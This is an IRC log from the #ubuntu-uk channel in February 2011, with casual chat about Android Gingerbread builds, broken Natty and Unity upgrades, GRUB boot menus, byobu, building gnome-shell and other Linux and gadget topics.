<shauno> kinda reminds me of the old 'unix family tree' one.
<popey> i had that printed out and on my wall for a while
<TheOpenSourcerer> There's a png version too for those on inferior browsing technology
<shauno> svg is fine, I'm on a mac :p
<Amanda__> i think i'm going to go for a different tac tic
<Amanda__> not worry about version numbers
<shauno> just make sure you stay somewhat recent with the updates provided, and you'll be fine
<Amanda__> Thanks everyone bye
<n1md4> BigRedS: Game tonight?
<kvarley> n1md4:  game of what?
<bigcalm> Humm, server attacks?
<MartijnVdS> Mars Attacks
<bigcalm> Terrible film
<shauno> I liked it :(
<shauno> btw, shuttle launch in 2 hours if anyone's bored/nerdy.  http://www.nasa.gov/multimedia/nasatv/ in various freedom-hating formats
<n1md4> Alien Swarm
<n1md4> kvarley: You're welcome to join us.
<n1md4> kvarley: Do you have the game?  It's available free on Steam.
<kvarley> n1md4: Steam...brrrrrrr *shivers down spine*
<n1md4> :P
<n1md4> I'll accept that as a no.
<kvarley> I have steam but only for black ops which I rarely play
 * n1md4 shrugs
<n1md4> You asked ;)
<bigcalm> Bring on Portal 2
 * popey hugs vlc and http://playlist.yahoo.com/makeplaylist.dll?id=1368163
<popey> which gives a lovely quality video
 * MartijnVdS looks around on Astra
<MartijnVdS> someone _must_ be relaying it
<bigcalm> Wow, that is great quality
 * MartijnVdS has heard nice rumours about internet speed at work
<MartijnVdS> too bad network management people almost had heart attacks when they heard them :)
<popey> The following packages will be REMOVED ubuntu-desktop unity
<popey> uhhh, no thanks
<brobostigon> evening everyone.
<popey> brobostigon: seen there's a shuttle launch later?
<brobostigon> popey: i intend towatch, :)
<brobostigon> popey: what time roughly ?
 * DJones hasn't watched a shuttle launch since 1986
<shauno> brobostigon: 21:50 our time
<gord> little tip, thursdays are not good days to update on ;)
<brobostigon> shauno: thank you, :)
<MartijnVdS> gord: if it removes unity, it's the best day to update on, imho :P
<gord> uhuh
<MartijnVdS> it seems Apple hasn't renamed Mission Control and Launchpad
<MartijnVdS> http://rss.slashdot.org/~r/Slashdot/slashdot/~3/FE-y5sQ0Z7s/Mac-OS-X-107-Lion-Developer-Preview-Available
<daubers> Evening
<brobostigon> noswaith dda daubers
<MartijnVdS> \o brobostigon
<brobostigon> o/ MartijnVdS
<brobostigon> micromen, bbc4, :)
<AlanBell> evening peeps
<popey> lo
<brobostigon> evening AlanBell
<bigcalm> Hi kids
<brobostigon> evening bigcalm
<bigcalm> Are there any web dev tools for Safari?
<shauno> just the built-in inspector really
<shauno> same as chrome's, it's in the wbekit engine
<gord> finally updating my phone to gingerbread, woo
<bigcalm> 2.3 or CM7?
<gord> 2.3.3
<Azelphur> my phone runs cm7 with a custom kernel >:)
<brobostigon> that is both dangerous and exciting atthe same time, going in to space onthe top of a fire cracker.
<bigcalm> CM7 stopped my N1 from being useable as a phone. So went back to 6.1.1
<Azelphur> hehe
<Azelphur> my G2 is fine on CM7
<gord> i don't go in for all that custom rom stuff
<brobostigon> no cm7 for my g1 :(
<Azelphur> :(
<brobostigon> although thecode is sitting there in their git.
<ali1234> compile it then.........
<brobostigon> ali1234: if i understood how, i would have alreadydone it.
<Azelphur> brobostigon: is there anything >=2.3.2 for the G1?
<ali1234> android is actually quite easy to build, you more or less just run a script and get an image
<brobostigon> Azelphur: not with the cm tweaks you need for the g1, like keep messaging in memory.
<Azelphur> ah :(
<brobostigon> Azelphur: i did not know that.
<Azelphur> brobostigon: you mean ali1234 :P
<brobostigon> Azelphur: yes, sorry.
<Azelphur> hehe
<ali1234> but tbh if they didn't make an image it probably doesn't work right
<brobostigon> ali1234: no aosp 2.3 build for g1 i have seen up to no, works right. but i dont see why it shouldnt.
<brobostigon> or otherwise.
<brobostigon> now*
<ali1234> probably because the binary hardwawre drivers only work on an older kernel version that isn't new enough for 2.3
<ali1234> the MSM kernel is a complete mess :(
<brobostigon> however i hve tried an aosp 2.3 build for g1, and it worked mostly fine, however without certain tweaks, i mentioned earlier, it doesnt make things as good as they could be.
<brobostigon> http://sandbox.devnull.name/android/gingerbread/
<gord> ooooh 2.3 is pretty
<brobostigon> like without, messaging in memory, sms can get dropped, when memory lacks sometimes.
<ali1234> i'm still waiting for someone to give me an android phone...
<gord> give? ;)
<ali1234> yeah
<ali1234> apparently HTC are not quite so desperate for app developers as nokia
<gord> android doesn't have a problem with lack of app developers
<ali1234> does HTC even have their own app store?
<Azelphur> ali1234: don't think so, that sort of behaviour is discouraged by google I think
<gord> eh no, few different retails have their own app stores, its fine on android
<gord> don't know if htc do, its kinda dumb when people do do that
<Azelphur> yea it's fine but it's discouraged I think
<ali1234> i dunno why nokia is so obsessed with "ecosystems"
<gord> its not discouraged
<Azelphur> which it should be, unless you have a special case there's really no need to roll your own app store
<ali1234> they are good at making hardware
<Azelphur> *shrug*
<gord> they are obsessed because they wanted to make android/iphone before those things existed, but it wasn't the right time. puzzled, they started questioning if they had enough app developers, what was wrong with their "ecosystem"
<gord> in truth, nothing was wrong, it was just the wrong time
<ali1234> if you buy one of these new nokia-wp7 it will likely have three appstores on it: ovi, microsoft, and the operator store
<gord> is microsoft allowing app stores that aren't microsoft backed?
<ali1234> well the thing is, all of them will be the same thing, rebranded
<ali1234> so everyone will take a cut no matter which one you buy from
<ali1234> basically it will just be a confusing mess for no reason, because everyone wants to be king of the "ecosystem"
<ali1234> then you have intel's "appup"
<gord> i am now going to take a photo of my phone using cheese then use my phone to take a photo of that photo. because its marginally easier to upload through my phone to picassa than it is otherwise
<ali1234> which is basically a white-box appstore that anyone can rebrand
<gord> hehe when you power off 2.3 it does an old tv like power off animation
<gord> thats so nerdy
<popey> going to a dot?
<gord> well not quite a dot, but nearly
<gord> if it just faded out a dot over 30 seconds like an old tv i would be convinced my phone was busted ;)
<Azelphur> gord: indeed :D
<Azelphur> gord: haha first time I saw it it startled me I thought it was broke :P
<gord> geez, android games are crazy pretty now that there are tegra2 devices http://www.youtube.com/watch?v=gzGLmeuUV4c&feature=player_embedded
<gord> i mean geez
<Azelphur> gord: have you seen the playstation emulator?
<ali1234> that video had better graphics than any platstation game
<Azelphur> *shrug* have you seen the NDS emulator? :D
<ali1234> i would say about equal to NDS
<Azelphur> :)
<Azelphur> there's an NDS emulator in the works, you can actually use it but it's not optimized at all yet so slower than a snail in reverse
<ali1234> playstation is now 16 years old... wat
<Azelphur> lol
<ubuntuuk-planet> [Stuart Langridge] Goodbye, Rory - http://www.kryogenix.org/days/2011/02/24/goodbye-rory
<gord> i have a nintendo ds, don't need an emulator thanks :P
<gord> eeee i'll have a 3ds in a month
<popey> what kind of ds do you have?
<jacobw> what does one do when the parents buy a new netbook with XP, expect you to set it up and say "well, i want this one to stay a windows computer"
<jacobw> so fustrating. i'm not interested in furthering the use of 10 year old operating systems :|
 * jacobw rants
<rattleStuff> i'd advise installing ubuntu and saying 'what netbook?'
 * jacobw waits for 11.04 to be released with new netbooky goodness
<popey> :)
<AlanBell> how do I pipe stderr as well as stdout into pastebinit?
<AlanBell> never mind, found it
<Thingymebob> anyone running natty?
<AlanBell> http://paste.ubuntu.com/571958/
<AlanBell> Thingymebob: in a VM, but not right now, unity is broken for me
<Thingymebob> Yeah been using it with classic desktop. Updated Today and totally killed networking, no wireless no wired!
<popey> yes, today was a bad day to update
<jacobw> is anyone watching question time?
<Thingymebob> Oh yes! Glad I still have maverick on here
 * Cepheus shakes fist at mercurial
<popey> :)
<Cepheus> it's times like these I wish Unity run on linux. Stuck on windows doing dev stuff.
<Cepheus> *ran
<Cepheus> (the gaming engine, not the shiny new desktop in the upcoming Natty
<gord> popey, ds lite at the moment, was going to order a dsi XL because those look great but they announced the 3ds that week ;)
 * brobostigon tries a new gingerbread for g1 build.
<AlanBell> gord: is there a quick fix I can do to get past a unity core dump following GLib-GIO-ERROR **: Settings schema 'org.gnome.desktop.interface' does not contain a key named 'accessibility'
<AlanBell> would adding that key to gconf or something be a good plan?
<gord> AlanBell, latest version? did a new release today
<AlanBell> yup
<gord> the problem is that gnome switchd to gsettings and they didn't update the accessibility stuff to gsettings, they  just left it using gconf. which means the schema doesn't exist in gsettings. its a pain, don't know what the fix is right now
<AlanBell> from this afternoon, I will update/dist-upgrade again now
<popey> gord: what colour ds lite?
<gord> i'm sure i can find one, but tomorrow, i'm "off the clock" :)
<gord> popey, ruby red of course!
<popey> :)
<hamitron> evening all
<popey> lo
<Cepheus> my black DS lite is looking a little worse for wear. :(
<gord> with an apple green stylus, because i think clashing colours look good, i don't care what people say
<hamitron> they do :)
<gord> words can't bring me down
<hamitron> colours must either match perfectly, or clash, else it looks wrong
<popey> hmm
<popey> launchpad seems ill
<popey> alan@mbp:~$     bzr branch lp:ubiquity
<popey> bzr: ERROR: Connection error: Couldn't resolve host 'xmlrpc.launchpad.net' [Errno -2] Name or service not known
<popey> alan@mbp:~$ host xmlrpc.launchpad.net
<popey> xmlrpc.launchpad.net has address 91.189.89.224
<popey> xmlrpc.launchpad.net has address 91.189.89.225
<gord> ouch
<popey> is it just me?
<Cepheus> bazaar acting bizarre
<Cepheus> heh.
<gord> popey, seems to work here
<AlanBell> yay, done a dist-upgrade that failed, did dist-upgrade -f, that uninstalled unity /o\
<popey> i have switched to safe-upgrade
<AlanBell> bother, and it broke networking /o\
 * AlanBell goes to bed. Night all
<popey> nn
<popey> Golly, Movies4Men really is shockingly bad telly
<Cepheus> i tend to ignore the telly for the most part
<Thingymebob> Yay \o/ fixed!
<brobostigon> i am watching quadrophenia, and sting definatly cant dance.
<popey> Aliens :)
<popey> on ITV+1289
<Cepheus> where's my ITV -1?
<Cepheus> that'd be handy for the grand national
<brobostigon> :)
#ubuntu-uk 2011-02-25
<david-uwe> good evening brothers. may i axe someone, how to adjust the screen brightness, without it defaulting back every time i dont touch a button for 15 seconds
<brobostigon> ask*
<david-uwe> oh no son, im from the hood
<david-uwe> whatever that means
<hamitron> can't you use on the control on your monitor? ;)
<david-uwe> nawh, but in all seriousness, pressing fn + brightness every few seconds is annoying
<david-uwe> laptop :)
<brobostigon> 00:09:43 < david-uwe> good evening brothers. may i axe someone,
<brobostigon> :(
<david-uwe> how incredibly rude of me, i apologise
<david-uwe> there will be no axing
<popey> brobostigon: i think its called humour
<hamitron> I set my dimming in the bios on mine
<brobostigon> popey: you mybe right,
<david-uwe> is there no control for it within ubuntu?
<popey> yes
<popey> gnome power manager control brightness
<popey> what kind of laptop is it?
<popey> dell or apple? :)
<david-uwe> HP
<popey> which model?
<david-uwe> i THINK dm3 111sa or something
<david-uwe> its a dm3, just dont remember the exact variation, why?
<popey> sometimes we have bug reports filed for specific models
<popey> was looking for one
<david-uwe> oh i see, awesomes thanks :)
<david-uwe> its x64 too if that helps
<hamitron> my sister has a dm3, but doubt she'd be happy me waking her up to steal it at this time of night ;)
<david-uwe> its a pretty decent laptop, especially for the low price
<hamitron> yes
<david-uwe> in fact it was the best spec laptop available at such a price
<popey> nothing obvious
<hamitron> they feel pretty solid too
<david-uwe> true dat
<david-uwe> im so white i cant get away with saying that
<popey> are they the shizzle?
<david-uwe> they are exactly that
<popey> drat
<hamitron> they come a close 2nd to my K6-2 comp
<hamitron> ;/
<popey> just pressed the brightness button on mine
<popey> its gone a bit dark
<david-uwe> also, the authenticate box doesnt close when you click authenticate, you have to press the close button
<david-uwe> is that standard on this version or a bug?
<popey> pass
<david-uwe> authenticating button works, but it doesnt close the box
<david-uwe> k :)
<hamitron> do you still have windoze installed?
<hamitron> actually, nvm, it doesn't sound like a "fault"
<david-uwe> k, but yeah win7
<andylockran> ho0wdy
<hamitron> doesn't pressing any key reset the brightness?
<hamitron> and does it do it in windows?
<david-uwe> nope, it just back to low level
<david-uwe> then i increase it to max, then when left for 15 seconds, drops to low again, moving mouse or pressing key doesnt increase to max again
<david-uwe> have to fn and brightness key
<david-uwe> however the power management settings fixed it :)
<hamitron> cool
<hamitron> :)
<david-uwe> i just set a default brightness and turned the idolling
<david-uwe> off
<david-uwe> anywho thanks for the help, bed time!
<david-uwe> sweet dreams team xxxxxxxxxx
<hamitron> laters
<andylockran> nice
<hamitron> I am tempted to try power management
<hamitron> :)
<hamitron> been ages since I have
<andylockran> I need to buy myself a laptop soon
<andylockran> but also need to upgrade the desktop, still have a pentium 4 2.8
<hamitron> I intend to get a new comp soon, but still torn between the i3 and phenomII X4
<hamitron> :/
<hamitron> and also kinda tempted by intel's 2nd gen of core-i
<andylockran> I've not even specc'd up a machine - just fancy something that I can virtualise on.
<hamitron> i am looking forward to VT :)
<andylockran> Well, depends what I want to do.  Considering a tower-server setup as myth backend, and then stream to PS3..
<hamitron> my main reason is more horsepower for gaming
<hamitron> :/
<Cepheus> I might get a netbook. need something that doesn't keep me in one room of the house for day to day stuff
<brobostigon> nos da everyone, sleep well.
<andylockran> my reasons are that this cpu is too slow for HD playback
<andylockran> and doesn't have a vmx flag
<hamitron> playback? :|
<andylockran> blu-ray
<hamitron> didn't realise it took that much power :/
<andylockran> yeah, for decoding.
<andylockran> anyhow - it's been a couple of late nights, so I should make tonights an early one
<hamitron> okies
<hamitron> :)
<hamitron> anyone here have a m-ITX motherboard with a real processor on?
<andylockran> ta ra all
<Seeker`> arduino \o/
<HazRPG> \o hey all
<AlanBell> morning all
 * MartijnVdS flashes Gingerbread onto his Nexus One
<MartijnVdS> N1 owners: http://forum.xda-developers.com/showthread.php?t=965478
<HazRPG> MartijnVdS: :o you got the flash for gingerbread :O!
<HazRPG> also, morning all ubuntu friends :)
<HazRPG> oh...
 * HazRPG just saw the link
<HazRPG> MartijnVdS: how's 2.3 treating you?
<HazRPG> wow I didn't know you could run php from the command line using php5-cli
 * HazRPG updating nexus one :)
<HazRPG> thanks MartijnVdS :)
<HazRPG> did yours flash successfully?
<hoover> mornin folks
<HazRPG> morning hoover
<DJones> Morning all
<HazRPG> morning DJones :)
<DJones> Hi HazRPG
<HazRPG> wow... gingerbread looks so very different!
<HazRPG> haha, the little screen turning off animation looks pretty awesome :P
<hoover> anyone running gingerbread on a phone yet?
<bigcalm> Greetings earthlings :)
<HazRPG> hoover: I am now :)
<HazRPG> bigcalm: greetings :)
<HazRPG> \o
<HazRPG> anyone have a terminal for their android?
<Myrtti> other than irssi connectbot?
<Myrtti> IMO it has a local terminal too in it
<BigRedS> in your *opinion*? :)
<bigcalm> whoami on my n1 says "app_1"
<BigRedS> but, yeah, mine has a terminal emulator
<BigRedS> and I did put busybox on it, but it doesn't work any more
<bigcalm> I rooted mine, so have the terminal emulator
<JamesTait> Happy Friday, everyone!
<Myrtti> BigRedS: oh, pardon me for using a wrong acronym.
<BigRedS> whooo!
<bigcalm> TTFCIF (no I won't explain it)
<BigRedS> haha, my brain had trouble parsing that this early :)
<HazRPG> Myrtti: well yeah, but you don't just get access to it as standard though - its hidden away
<HazRPG> BigRedS: which one you using? Or have you got your phone rooted?
<BigRedS> it's rooted
<BigRedS> but it's the one out of the market, I think
<HazRPG> hmm, you using a custom o/s on it too?
<Myrtti> I'm not in a great mood, so I guess it's best if I just go continue my lowsy day
<Myrtti> somewhere else
 * HazRPG keeps meaning to root and change o/s on mine
<Myrtti> ttfn
<HazRPG> Myrtti: *hugs*
<HazRPG> \o mungojerry
<mungojerry> o/ .... \o
<mungojerry> upgrading my natty, hoping it works today :)
<HazRPG> mungojerry: gl :)
<mungojerry> what could possibly go wrong ;)
<BigRedS> didn't someone tweet "today is a bad day to upgrade natty" yesterday?
<bigcalm> Popey did
<mungojerry> yeah, that was yesteday
<gord> mungojerry, i wouldn't right now, wait for this afternoon
<gord> things are still building
<mungojerry> i guess he saw we were having problems and went ahead anyway :P
<BigRedS> mungojerry: it's only just stopped being yesterday! :)
<mungojerry> gord, i'm broken since yesterday anyway, so anything is a bonus right now ..thanks for the warning :)
<Hazmaster> hmm, where do logs from irssi go?
<popey> Hazmaster: ~/irclogs here
<mungojerry> unity launcher is back...i'm back in business :)
<Hazmaster> popey: thanks :)
<kazade> o/
<popey> morning kazade
<popey> mrevell: your name came up in conversation the other night
<popey> mrevell: a certain photo of you with a pearl necklace
<popey> always makes me smile
<mrevell> popey, Heh, who was the conversation with?
<screen-x> morning all.... mmm steak
<bigcalm> Morning screen-x
<bigcalm> Steak now?
<screen-x> bigcalm: nah, just a happy thought :)
<bigcalm> Hehe
<bigcalm> Friday is steak day?
<screen-x> That sounds like a good institution, I should initiate that.
<DJones> Why limit steak day to just friday
<DJones> Sounds good for every day
<popey> mrevell: gmb, ev, kat, tony, laura...
<mrevell> Ah
<mrevell> heh
<popey> :)
<ikonia> any of you guys ever played with trying to have an "include" file in sudoers eg: include group1.file
<mungojerry> planet gnome seems to still contain rants about banshee/canonical - you can't please everyone i suppose!
<ikonia> never mind, find some great info
<mungojerry> ikonia, never tried that - do you have a /etc/sudoers.d/README file?
<mungojerry> ok
<gord> hehe, pleasing people in the open source world, surely you jest
<HazRPG> what's the best way to leave byobu, so that it saves all the screen sessions?
<gord> does ctrl+a ctrl+d not do it?
<HazRPG> I know byobu -x brings back all previous screens
<HazRPG> gord: it does :)
<popey> ctrl+a, d
<HazRPG> gord: thanks dude :)
<popey> no ctrl needed on the d
<HazRPG> popey: cool
 * HazRPG stored info
<screen-x> but it does work, if you hold down ctrl longer..
<gord> ah right yes, that was a bad habit i had
<popey> sure
<screen-x> and if you shift the d, it kills the shell as well.
<HazRPG> wow, apparently my server has updates again already
<HazRPG> only just did it yesterday iirc
<popey> probably timezone stuff
<HazRPG> yeah it was, and a kernel update
<screen-x> seems odd to me how often tzdata gets updated, maybe timezones etc arent as static as I think they are.
<gord> every time i boot up my laptop ubuntu judges me because i have a broken battery :)
<gord> :(!
 * HazRPG hugs gord
<HazRPG> screen-x: if I recall the world is actually losing time each year
<HazRPG> our days, according to the stars is actually 23hr and x mins and x seconds
<screen-x> HazRPG: are we getting closer to the sun then?
<HazRPG> I can never remember the formula to work it out though
<HazRPG> screen-x: not sure about that one, but I know the earth actually bounces around - which is what causes the ice ages every couple of million years
<screen-x> heh, I know very little about physics, just thought that if years are getting shorter, either the earth is accelerating or its orbit is getting smaller.
<BigRedS> we are getting closer to the sun, as an unfortunate consequence of gravity
<HazRPG> I mean a year when the dinosaurs was around was 370 days iirc
<HazRPG> BigRedS: indeed, but not as fast as people would like you to believe though
<HazRPG> ah ha! Found it, a day is actually 23hrs 56mins and 4.1secs
<BigRedS> HazRPG: somethign like 200mm a year IIRC
<HazRPG> every 18 months we have to add a leap second to our clocks
<HazRPG> BigRedS: exactly :P
<HazRPG> this is an interesting watch for those that are interested: http://www.youtube.com/watch?v=5OFThORmR-s
<HazRPG> its about time, and when will time end, etc... goes into a lot of detail about how we perceive time, and some history (and future) about the world & universe
<HazRPG> its very entertaining
<BigRedS> I try not to think about that sort of thing. my brain can neither get over the thought of infinite time, nor the concept of an end of time
<HazRPG> BigRedS: there isn't an end to time, the chain-reaction of the universe has already started, the only thing it can do now is to extend out
<BigRedS> HazRPG: I gather there are theories that call for each
<HazRPG> true
<BigRedS> depending upon your particular definition of 'time'
<HazRPG> time is a human invention, no doubt about it :)
<HazRPG> it was created to help solve the mysteries of the universe
<BigRedS> I did like stephen hawkings' explanation of time naturally following from entropy
<HazRPG> agreed
<HazRPG> science ... it works!
 * HazRPG loves science
<HazRPG> iirc correctly that video goes briefly go into hawkings' theory
<BigRedS> In fact, that book made a whole lot of stuff make sense, which was nice. And put names to theories that I knew of but not by name, or how they were related
<BigRedS> quite handy
<HazRPG> is that stephen hawking - a brief history in time?
<BigRedS> HazRPG: yeah
<BigRedS> I forget he wrote other books :)
<HazRPG> great book :)
<BigRedS> yeah, a lot more digestible than I was expecting
<BigRedS> I suppose that's why they call it 'popular science'
<HazRPG> I keep meaning to read his other books
<HazRPG> wow, just realised the time (ironically) - should really do some work
<screen-x> haha
 * screen-x goes to put some ram in a box
<HazRPG> screen-x: you know, your name made so much more sense after I learned about the command screen :P
<BigRedS> hah, I think of him every time I reacquire my irc sessio
<BigRedS> n
<HazRPG> :P
<HazRPG> hmm, why does rhythmbox just play a clacking noise sometimes to some files?
<mungojerry> anyone in here good, or even average at puppet?
<Baikonur> or maybe a master of puppets?
<mungojerry> indeedy..ba-dum ching
<HazRPG> Baikonur: first thought I had too xD
<Baikonur> there has to be a comic supervillain called The Puppetmaster, it's so obvious a name
<HazRPG> Baikonur: you'd think right
<Baikonur> there's a Puppet Master in both Marvel and DC worlds
<mungojerry> but not in here :(
<Baikonur> well the DC one is called Puppeteer, now
<HazRPG> MartijnVdS: Seems we have "medium" music compatibility apparently.
<pr0ph3t> hi all
<daubers> Morning
<pr0ph3t> I use grub as bootloader, but I boot into linux 90% of the time. Is it possible to have the boot menu come up only when I press a button or similar?
<BigRedS> pr0ph3t: certainly with 'old' grub
<BigRedS> there it was called 'hiddenmenu'
<X3N> you could reduce the timeout which is cancelled but a button press
<mungojerry> https://help.ubuntu.com/community/Grub2#Hidden
<pr0ph3t> savers
<pr0ph3t> thanks
<mungojerry> check which version of grub you are using though :P
<X3N> that looks good
<DJones> pr0ph3t: If press and hold the left shift key down while the computer is booting up, that'll bring the grub menu up as well
<danfish> isn't the default in grub2 to *not* show a boot menu, unless shift is pressed?
<BigRedS> I'm pretty sure my grub2 shows a menu anyway
<BigRedS> I think I'm running grub2
<HazRPG> danfish: not unless you have multiple O/S's
<gord> interesting. bought another album from u1 music store, banshee crashes.... the rebellion has started
<pr0ph3t> yes sorry, forgot to specify I have more than one OS
<davmor2> morning all
<danfish> HazRPG: oh yeah :) https://help.ubuntu.com/community/Grub2
<HazRPG> I like how GRUB2 is technically 1.98
<HazRPG> that confused me the first time I booted up
<HazRPG> or is it 1.99 now?
 * HazRPG forgets
<popey> !info grub
<lubotu3> grub (source: grub): GRand Unified Bootloader (Legacy version). In component main, is optional. Version 0.97-29ubuntu60 (maverick), package size 396 kB, installed size 924 kB (Only available for i386 kfreebsd-i386 hurd-i386 amd64 kfreebsd-amd64 lpia all)
<popey> info grub2
<popey> bah
<popey> !info grub2
<lubotu3> grub2 (source: grub2): GRand Unified Bootloader, version 2 (dummy package). In component universe, is extra. Version 1.98+20100804-5ubuntu3 (maverick), package size 47 kB, installed size 108 kB (Only available for i386 kfreebsd-i386 hurd-i386 kopensolaris-i386 amd64 kfreebsd-amd64 powerpc sparc mipsel)
<popey> o_O hurd-i386?
<popey> is this the debian version of lubotu3 ?
 * popey pokes jpds 
 * daubers is considering turning his revo into a Minecraft server and popping it into the company DC over the weekend
<jpds> popey: 301 â tsimpson.
<HazRPG> daubers: company DC?
<daubers> HazRPG: Data center
<HazRPG> ah
<tsimpson> popey, jpds: take a look at apt-cache showsrc grub2
<HazRPG> daubers: can you do that O.o
<HazRPG> ?*
<daubers> HazRPG: Yup, as I run it (sort of)
<HazRPG> daubers: ah cool
<HazRPG> daubers: you competing with popey's server :P?
<daubers> HazRPG: Nope. Just fancy having a play. My home net connection is pants on upload (as I'm abusing it most of the time) so this way I don't have to worry :)
<HazRPG> :P
 * Laney enjoys having beds in minecraft now
<daubers> Also means I might have some spare storage/bandwidth capacity to give away if needed
<brobostigon> morning everyone.
<HazRPG> morning brobostigon :D
<HazRPG> hmm... I'm apparently eating mulberries
<HazRPG> they look creepy, but taste nice
<HazRPG> brobostigon: I'm using gingerbread now :)
<ubuntuuk-planet> [Andrew] Colorific!  A Useful Tool for Gtk/Cairo Developers - http://whyareyoureadingthisurl.wordpress.com/2011/02/25/colorific-a-useful-tool-for-gtkcairo-developers/
<czajkowski> Aloha
<HazRPG> czajkowski: howdy
<brobostigon> HazRPG: you blog gave that away, :)
<HazRPG> brobostigon: oh wow, you read that
 * HazRPG blushes
<brobostigon> HazRPG: i have it rss'ed, yes,
<HazRPG> awesome :)
<mungojerry> HazRPG: gb on which device?
 * davmor2 gives czajkowski a reassuring pat on the back and sends her into battle
<HazRPG> mungojerry: nexus one
<mungojerry> any good new features?
<brobostigon> HazRPG: i am back on 2.3.2 :(, not 2.3.3.
<HazRPG> brobostigon: how come?
<brobostigon> mungojerry: better power manegement, tostart.
<HazRPG> mungojerry: nicer/crisper interface too
<brobostigon> HazRPG: there isnt a g1 one build with 2.3.3 yet. only 2.3.2
<HazRPG> ah
<HazRPG> mungojerry: it's a dark theme too, which I always prefer
<mungojerry> HazRPG: no major stuff tho?
<mungojerry> (although power management is good)
<HazRPG> speed mainly, and power management
<brobostigon> HazRPG: its less piercing on my eyes, because of the darker style, especially at night.
<HazRPG> brobostigon: agreed :)
<pr0ph3t> so you have rooted phones?
<brobostigon> pr0ph3t: yes.
<HazRPG> nope, its on my to-do list
<mungojerry> at some point htc will stop producing sense builds for my phone..but until then i'm patient enough to wait :)
<brobostigon> brb, cuppa time, :)
<HazRPG> a list that gets bigger each day... sadly...
<HazRPG> mungojerry: personally I feel that android as a whole needs a better re-build of it
<mungojerry> HazRPG: do you have screenshots?
<gord> oh wow latest ubuntu one in natty actually tells you what its doing
<HazRPG> mungojerry: I mean I understand for some HTC phones that Sense will need to be updated each time, but the OS rollouts is seems somewhat tedious to me
<HazRPG> gord: \o/
<HazRPG> gord: I bet that was a feature request :P
<pr0ph3t> more programs are using that feature now
<pr0ph3t> calibre does as well
<HazRPG> mungojerry: I mean it doesn't seem right that with each new update some phones will never get it
<mungojerry> yeah
<pr0ph3t> or actually, maybe it did in previous versions as well
<pr0ph3t> well I have the three firmware so I'll have to wait for them to get the updates
 * brobostigon returns with cuppa in pot.
<HazRPG> brobostigon: \o/
<mungojerry> gord: have you done an update today?
<gord> mungojerry, i have, but i wouldn't recommend it yet still ;)
<mungojerry> yeah...my unity launcher is flipping out
<brobostigon> pr0ph3t: hence i had to root and install an engineering recovery, otherwise i would be stuck back on 1.6.
<mungojerry> opening and closing at super speed
 * brobostigon is using gnome-shell and is happy.
<mungojerry> brobostigon: which distro are you running it on
<brobostigon> mungojerry: ubuntu 10.10.
<brobostigon> mungojerry: i have built gnome-shell from gnome's git repo.
<mungojerry> brobostigon: was it much hassle?
<brobostigon> otherwise there is no recent build.
<mungojerry> i'd like to try it
<brobostigon> mungojerry: fairly simple, you just need some patience,
<mungojerry> compilation patience or fixing dependencies patient
<brobostigon> gtk3 takes sometime to build, :(
<brobostigon> mungojerry: compilation time.
<gord> you allready have gtk3 in natty
<mungojerry> i can handle that
<brobostigon> mungojerry: it does dependency negotiation for you. and builds it in a sandbox.
<mungojerry> sweet, are there instructions?
<brobostigon> mungojerry: go to the gnome-shell page on the gnome wiki.
<gord> there is prolly a ppa somewhere
<gord> i wouldn't do anything like build gtk
<brobostigon> gord: tried it, under natty, it fails withloads of dependency errors.
<brobostigon> gord: the ppa i mean.
<gord> well then i would worry about building it too
<ali1234> there is a script that builds all gnome-shell for you, or at least there was
<screen-x> https://launchpad.net/~gnome3-team/+archive/gnome3/+packages
<screen-x> brobostigon: is that the one that failed?
<brobostigon> screen-x: tried that too, under natty, no luck.
 * mungojerry has a plethora of testing machines
<brobostigon> screen-x: ppa.launchpad.net/ricotz/testing/ubuntu/
<screen-x> looks like they are having some build issues with that ppa
<ali1234> http://www.webupd8.org/2010/10/install-gnome-shell-from-git-in-ubuntu.html
<AlanBell> unity installs and runs again (but does flickery madness)
<screen-x> not liking the sound of that AlanBell
<brobostigon> ali1234: thats thesame as the instructions onthe gnome  wiki, for a build.
<ali1234> yes
<ali1234> last time i tried it, that script builds all dependencies like gtk3 automatically
<directhex> ultimately, the problem with unity is it's crap. the interface is confusing an inconsistent
<brobostigon> ali1234: exactly, i did say that,just then.
<directhex> i have no gnome shell experience though
<BigRedS> directhex: I had a brief go at fosdem. I didn't like that either
<ali1234> lol, unity isn't that bad, it would be good on a tablet
<ali1234> it just doesn't make any sense at all for desktop
<BigRedS> but it's shipping as a UI for all sizes of display...
<ali1234> yes, that is the problem
<directhex> yeah, perfect for my 27"...
<BigRedS> yeah. gnome shell seemed similar - the bigger the screen the more ridiculous it feels
<brobostigon> gnome-shell is a massive improvement though, and something i needed, better workspace manegement.
<mungojerry> i am reserving judgment on unity, but in the meantime i'm running alphas and reporting bugs to at least make it better
<BigRedS> ahh, that much i didn't test or see - what does it do better?
 * gord gives mungojerry a gold star for being useful
 * mungojerry pins gold star to his ubuntu t-shirt
<brobostigon> http://www.webupd8.org/2011/02/gnome-shell-29190-released-screenshots.html give that video a look,it explains better than i candiscribe.
<brobostigon> BigRedS: see above video link.
<BigRedS> ah, cheers!
 * HazRPG really dislikes flash at the moment :(
<HazRPG> is there seriously no hack to force it to think I only have one display :(
<ali1234> it already thinks you have one display
<ali1234> that's how twinview works
<HazRPG> see, I can't pass judgement for unity as it stands - because for a tablet/touch screen it would be the ideal interface to have - however for a desktop, I just think it's a gimmick, but well we'll see what happens on release :)
<HazRPG> ali1234: no, as in is there not a hack to make it ignore the fact that the other screen is there
<ali1234> there is no "other screen"
<ali1234> you have 1 big screen
<HazRPG> ali1234: yeah I understand that :P
<HazRPG> what I mean is, to use half of it
<brobostigon> i am going to move my build to my mums ubuntu desktop machine, as i havent yet tried gnome-shell on a big monitor yet.
<ali1234> what you actually need is a way to define a subregion of the x server as a virtual screen which the app will see as the "whole screen"
<ali1234> but this is not possible in x11 architecture
<HazRPG> surely you could define what it thinks as fullscreen though
<ali1234> no
<brobostigon> ali1234: you could do that inside BeOS interface kit, as with haiku-os now.
<ali1234> you would have to make an X11 extension to do it
<brobostigon> agreed
<mungojerry> brobostigon: have you also seen that app called The Board
<HazRPG> ali1234: and by making said extension, developers would have to use those calls for it to be functional correct?
<brobostigon> mungojerry: no, ihavent.
<mungojerry> brobostigon:  https://live.gnome.org/TheBoardProject
<ali1234> HazRPG: no, the correct functions already exist if adobe would use them
<ali1234> the extension would allow you to "fix" broken apps
<HazRPG> ali1234: hmm, like an override you mean?
<ali1234> yes
<mungojerry> brobostigon: would probably build easily on the machine you are using for gnome 3
<HazRPG> I guess people haven't done it because they want people to actually code things right
<HazRPG> guessing*
